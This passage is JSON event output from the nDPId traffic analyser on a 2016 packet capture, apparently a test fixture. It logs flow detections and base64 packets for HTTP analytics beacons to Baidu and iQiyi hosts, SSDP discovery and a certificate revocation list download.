MzYzMzMzMzY2NjQwMDAwMDAwODc5NmY3NTc0NzUyZTYyNjU7IEJBSURVSUQ9MjEwMkRDNzUxRUQwREYzNkUzRDZDRjZDMjEwRkFCNzk6Rkc9MQ0KDQo="} +00855{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1113,"source":"pps.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1467353165563,"flow_last_seen":0,"flow_tot_l4_data_len":970,"flow_min_l4_data_len":970,"flow_max_l4_data_len":970,"flow_avg_l4_data_len":970,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.112.49","src_port":50497,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"click.hm.baidu.com","url":"click.hm.baidu.com\/mkt.gif?ai=8452891900c903ae7a876447923a5aec&et=0","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00661{"flow_id":69,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1114,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":612050,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABxCjnAxTF4M6gNlCABFAADj3khAAC0GT217fXAxwKhzCABQxUHmpXH1I+1Zk1AYAIIWkgAASFRUUC8xLjEgMjA0IE5vIENvbnRlbnQNCkNvbnRlbnQtVHlwZTogaW1hZ2UvZ2lmDQpDYWNoZS1Db250cm9sOiBwcml2YXRlLCBtYXgtYWdlPTAsIG5vLWNhY2hlDQpQcmFnbWE6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBjbG9zZQ0KRGF0ZTogRnJpLCAwMSBKdWwgMjAxNiAwNjowNjowNSBHTVQNClNlcnZlcjogYXBhY2hlDQoNCg=="} +01602{"flow_id":67,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1115,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":616418,"pkt_caplen":946,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":946,"pkt_l4_len":912,"pkt":"TF4M6gNlABxCjnAxCABFAAOkGkVAAIAG0AXAqHMIymwO7MU\/AFBSz4OYcUHIDlAYQRL3fAAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6NDU6MjN8NDUmYXY9NC4xMC4wMDQmYj0xODA5MzIzMDEmYz0zMSZjdD01MDAwMDAwOTIzNDQ3JmQ9MjE3NSZkaT0mZHA9NzEwMDAwMDEmZT1jNDg4OWU2NGFkOWQ5ZWViOWZmNDM4OTEwODUwYzQ0MiZlYz0mZW09JmZpPSZnPTAmbD1NVEU0TGpFMk15NDRMamt3Jm1rPSZudz0mb2Q9NTAwMDAwMDg1NDkzNCZvaT0mcD1hJnBwPSZyYz0mcmQ9JnJpPSZzPTE0NjczNTMxNjUwNDkmc2g9JnNxPSZzdz0mdD1zdCZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +00414{"flow_id":69,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1116,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":659884,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAo3kpAAC0GUCZ7fXAxwKhzCABQxUHmpXKwI+1ZlFARAILziAAAAAAAAAAA"} +00605{"flow_id":67,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1117,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":726907,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5NelAADMGBE3KbA7swKhzCABQxT9xQcgOUs+HFFAYACQHagAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjA1IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +01610{"flow_id":67,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1118,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":733979,"pkt_caplen":952,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":952,"pkt_l4_len":918,"pkt":"TF4M6gNlABxCjnAxCABFAAOqGl9AAIAGz+XAqHMIymwO7MU\/AFBSz4cUcUHIn1AYQO6GIwAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9MXx8NzEwMDAwMDF8fDUwMDAwMDA4NTQ5MzR8fDUwMDAwMDA5MjM0NDd8fHJvbGwmYXM9JmF2PTQuMTAuMDA0JmI9MTgwOTMyMzAxJmM9MzEmY3Q9JmQ9MjE3NSZkaT0mZHA9JmU9YzQ4ODllNjRhZDlkOWVlYjlmZjQzODkxMDg1MGM0NDImZWM9JmVtPSZmaT0mZz0wJmw9TVRFNExqRTJNeTQ0TGprdyZtaz0mbnc9Jm9kPSZvaT0mcD10JnBwPSZyYz0tMSZyZD04NSZyaT0mcz0xNDY3MzUzMTY1MDUwJnNoPSZzcT0mc3c9JnQ9cyZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +00605{"flow_id":67,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1119,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353165,"pkt_ts_usec":845483,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5NepAADMGBEzKbA7swKhzCABQxT9xQcifUs+KllAYACcDVAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjA1IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1120,"source":"pps.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1467353166729,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.63","dst_ip":"239.255.255.250","src_port":39383,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00518{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1120,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353166,"pkt_ts_usec":729597,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"AQBef\/\/69AnYH69kCABFAAB0AABAAAERw5fAqAU\/7\/\/\/+pnXB2wAYBOHTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KTWFuOnNzZHA6ZGlzY292ZXINCnN0OnNzZHA6YWxsDQpNWDozDQoNCg=="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1120,"source":"pps.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1467353166729,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.63","dst_ip":"239.255.255.250","src_port":39383,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1121,"source":"pps.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1467353166729,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.63","dst_ip":"239.255.255.250","src_port":60976,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00563{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1121,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353166,"pkt_ts_usec":729600,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"AQBef\/\/69AnYH69kCABFAACXAABAAAERw3TAqAU\/7\/\/\/+u4wB2wAg73KTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KTWFuOnNzZHA6ZGlzY292ZXINCnN0OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVJlbmRlcmVyOjENCk1YOjMNCg0K"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1121,"source":"pps.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1467353166729,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.63","dst_ip":"239.255.255.250","src_port":60976,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1122,"source":"pps.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1467353167288,"flow_last_seen":0,"flow_tot_l4_data_len":660,"flow_min_l4_data_len":660,"flow_max_l4_data_len":660,"flow_avg_l4_data_len":660,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"36.110.220.15","src_port":50498,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01269{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1122,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353167,"pkt_ts_usec":288111,"pkt_caplen":694,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":694,"pkt_l4_len":660,"pkt":"TF4M6gNlABxCjnAxCABFAAKoG9BAAIAGqFHAqHMIJG7cD8VCAFB9qW\/gOgaPJFAY\/\/DRFwAAR0VUIC90bXBzdGF0cy5naWY\/dHlwZT1yZWNjdHBsYXkyMDEyMTIyNiZ1c3JhY3Q9c2hvdyZwcHVpZD0tMSZ1aWQ9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mZXZlbnRfaWQ9NGIwODY4OTIwYjBmODI4NTMyMGE5ZTAwZWUwMzY5ZTUmY2lkPTMxJmJrdD1wcHNfY196ZWJyYV9tYWluX2RlZmF1bHQmYXJlYT1wcHNfY196ZWJyYSZwbGF0Zm9ybT0yMDEyJmFsYnVtbGlzdD00NzA2OTQ1MDAsNDcxNTkxMzAwLDQ2NTY0MTAwMCw0NzI4ODcxMDAsNDcxNzg4MTAwLDQ3Mzc0NjMwMCw0NzE5NDgzMDAsNDczNjk0NjAwLDQ3MjE4OTUwMCZhaWQ9NDc5NTMxMDAwJnNvdXJjZT0wLDEsMSwxLDEsMSwxLDEsMSZfPTE0NjczNTMxNjcwODcgSFRUUC8xLjENCkFjY2VwdDogKi8qDQpSZWZlcmVyOiBodHRwOi8vdm9kZ3VpZGUucHBzLmlxaXlpLmNvbS9wYWdlLnBocD92ZXJzaW9uPTUuMi4xNS4yMjQwDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLVRXDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNS4wKQ0KSG9zdDogbXNnLnZpZGVvLnFpeWkuY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +01046{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1122,"source":"pps.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1467353167288,"flow_last_seen":0,"flow_tot_l4_data_len":660,"flow_min_l4_data_len":660,"flow_max_l4_data_len":660,"flow_avg_l4_data_len":660,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"36.110.220.15","src_port":50498,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.video.qiyi.com","url":"msg.video.qiyi.com\/tmpstats.gif?type=recctplay20121226&usract=show&ppuid=-1&uid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&event_id=4b0868920b0f8285320a9e00ee0369e5&cid=31&bkt=pps_c_zebra_main_default&area=pps_c_zebra&platform=2012&albumlist=470694500,471591300,465641000,472887100,471788100,473746300,471948300,473694600,472189500&aid=479531000&source=0,1,1,1,1,1,1,1,1&_=1467353167087","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\/5.0)"}} +00605{"flow_id":72,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1123,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353167,"pkt_ts_usec":373818,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5WoJAAC4GvY4kbtwPwKhzCABQxUI6Bo8kfalyYFAYPAD9ZAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjA2IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1124,"source":"pps.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1467353166729,"flow_last_seen":0,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":96,"flow_max_l4_data_len":96,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.63","dst_ip":"239.255.255.250","src_port":39383,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1124,"source":"pps.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1467353166729,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.63","dst_ip":"239.255.255.250","src_port":60976,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":55,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1124,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353167,"pkt_ts_usec":734702,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChLIIAAAER1u7AqAU57\/\/\/+ukAB2wAjbKhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1125,"source":"pps.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1467353170523,"flow_last_seen":0,"flow_tot_l4_data_len":1063,"flow_min_l4_data_len":1063,"flow_max_l4_data_len":1063,"flow_avg_l4_data_len":1063,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"111.206.22.76","src_port":50499,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01804{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1125,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353170,"pkt_ts_usec":523889,"pkt_caplen":1097,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1097,"pkt_l4_len":1063,"pkt":"TF4M6gNlABxCjnAxCABFAAQ7HjFAAIAGHsHAqHMIb84WTMVDAFDdQoxSQH15t1AYQTfZKwAAR0VUIC9iP3Q9NSZwZj0yMDEmcD0xMSZwMT0xMTQmcm49MTQ2NzM1MzE2NzIyMSZhPTM0JmNsdD10dmcyMDE1X2JhaWtlQl9jb21tZW50X3Nob3cmdHlwZT1wYyZyZWY9bm9yZWYmdXJsPWh0dHAlM0EvL3ZvZGd1aWRlLnBwcy5pcWl5aS5jb20vcGFnZS5waHAlM0Z2ZXJzaW9uJTNENS4yLjE1LjIyNDAlMjNjbGFzcyUzRDIwMDAwMzcxOSUyNTI0JTI1MjQlMjUyNCUyNTI0MTgwOTMyMzAxJTI2ZW50aXR5aWQlM0Q0Nzk1MzEwMDAlMjZiYWlrZWlkJTNEMjAzMjI5NDkwJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4gSFRUUC8xLjENCkFjY2VwdDogKi8qDQpSZWZlcmVyOiBodHRwOi8vdm9kZ3VpZGUucHBzLmlxaXlpLmNvbS9wYWdlLnBocD92ZXJzaW9uPTUuMi4xNS4yMjQwDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLVRXDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNS4wKQ0KSG9zdDogbXNnLmlxaXlpLmNvbQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29va2llOiBwcHNfY2xpZW50X3ZlcjI9NS4yLjE1LjIyNDA7IFQwMDQwND00ZTNhZTQxNWE1ODQ3NDhhYzlhYTMxNjI4ZjM5ZDFlODsgX3Bwc19pdmk9Vms0OU1UWXdOVEExTGFXL3BQbWhSejgvUDZUYXBFZW11RDgvcE0rd1pqOHRwTFd4M3pnd3Bsby9wR2FvY1NaV1VEMHhKbFpEUFQ4L1B6OCtwTFd4M3pnd3Bsby9wR2FvY1NaV1NqMHRNU1pXVXoxV0psWkVQU1pXVkZ0QlhUMHlNVGMxSmxaTlBTWldWajAxTGpJdU1UVXVNakkwTUNaV1ZUMW9kSFJ3T2k4dmQzZDNMbWx4YVhscExtTnZiUzkyWHpFNWNuSnNkblY0YkdjdWFIUnRiQT09OyBRQzAwNj11NTQ5dnB6MTBsOWZrYXR1bTRhbHc0YnA7IFFDMDA4PTE0NjY2NDU4MTYuMTQ2NjY0NTgxNi4xNDY2NjQ1ODE2LjE7IEhtX2x2dF81M2I3Mzc0YTYzYzM3NDgzZTVkZDk3ZDc4ZDliYjM2ZT0xNDY2NjQ1ODE3OyBRQzAwNT1hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KDQo="} +00980{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1125,"source":"pps.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1467353170523,"flow_last_seen":0,"flow_tot_l4_data_len":1063,"flow_min_l4_data_len":1063,"flow_max_l4_data_len":1063,"flow_avg_l4_data_len":1063,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"111.206.22.76","src_port":50499,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.iqiyi.com","url":"msg.iqiyi.com\/b?t=5&pf=201&p=11&p1=114&rn=1467353167221&a=34&clt=tvg2015_baikeB_comment_show&type=pc&ref=noref&url=http%3A\/\/vodguide.pps.iqiyi.com\/page.php%3Fversion%3D5.2.15.2240%23class%3D200003719%2524%2524%2524%2524180932301%26entityid%3D479531000%26baikeid%3D203229490&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\/5.0)"}} +00606{"flow_id":73,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1126,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353171,"pkt_ts_usec":307497,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5FgtAADMGd2lvzhZMwKhzCABQxUNAfXm33UKQZVAYACEI\/gAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA2OjEwIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1127,"source":"pps.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1467353172446,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"23.41.133.163","src_port":50500,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1127,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353172,"pkt_ts_usec":446185,"pkt_caplen":289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":289,"pkt_l4_len":255,"pkt":"TF4M6gNlABxCjnAxCABFAAETH7ZAAIAGCbLAqHMIFymFo8VEAFBenvyU0fNBYlAYAQQxqAAAR0VUIC9wY2EzLWc1LmNybCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQWNjZXB0OiAqLyoNCklmLU1vZGlmaWVkLVNpbmNlOiBUaHUsIDI0IE1hciAyMDE2IDE3OjQwOjA1IEdNVA0KSWYtTm9uZS1NYXRjaDogIjE3MjE5NjllNzMyYmNmZGRhNGQ4NWMxNjM5MGViYTcwOjE0NTg4NDI1OTciDQpVc2VyLUFnZW50OiBNaWNyb3NvZnQtQ3J5cHRvQVBJLzYuMQ0KSG9zdDogczEuc3ltY2IuY29tDQoNCg=="} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1127,"source":"pps.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1467353172446,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"23.41.133.163","src_port":50500,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"s1.symcb.com","url":"s1.symcb.com\/pca3-g5.crl","code":0,"content_type":"","user_agent":"Microsoft-CryptoAPI\/6.1"}} 